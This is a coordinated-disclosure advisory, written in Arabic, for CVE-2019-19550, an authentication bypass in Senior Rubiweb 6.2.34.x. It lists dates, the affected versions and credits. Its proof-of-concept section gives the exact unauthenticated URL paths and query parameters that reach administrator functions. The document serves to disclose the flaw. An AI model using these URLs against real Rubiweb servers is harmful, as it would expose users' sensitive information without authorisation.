CVE-2019-19550

---

[الوصف]

تجاوز المصادقة عن بُعد في Senior Rubiweb 6.2.34.28 و 6.2.34.37 يتيح وصول المدير إلى المعلومات الحساسة للمستخدمين المتأثرين باستخدام الإصدارات الضعيفة. يحتاج المهاجم فقط إلى توفير عنوان URL الصحيح.

---

[التواريخ الهامة]

• الإعلان (للبائع): 2019-12-02
• تاريخ الإفصاح العام: 2020-01-30

---

[نوع الثغرة]

التحكم في الوصول غير صحيح

---

[بائع المنتج]

Senior

---

[قاعدة كود المنتج المتأثر]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• الإصدارات الأخرى قد تتأثر، خاصة في نفس العائلة (لم يتم اختبارها بعد)

---

[المكون المتأثر]

Rubiweb

---

[نوع الهجوم]

عن بُعد

---

[تأثير الإفصاح عن المعلومات]

صحيح

---

[نواقل الهجوم]

الوصول إلى المعلومات الحساسة متاح للجمهور دون متطلبات خاصة (فقط URI الصحيح)

---

[هل أكد البائع أو اعترف بالثغرة؟]

صحيح

---

[PoC - إثبات المفهوم]

1. حاول ببساطة الاتصال بالبوابة المصادق عليها لتأكيد وجود وإصدار المنتج المتأثر:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. الوصول إلى الصفحة الضعيفة (مدير بدون مصادقة):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[المكتشف]

Mauricio Santos (R&D UnderProtection) و Hesron Hori (R&D UnderProtection)

---

[شكر وتقدير]

Senior - فريق أمن المعلومات لدى البائع الذي تعاون للإفصاح المنسق

---

[المرجع]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName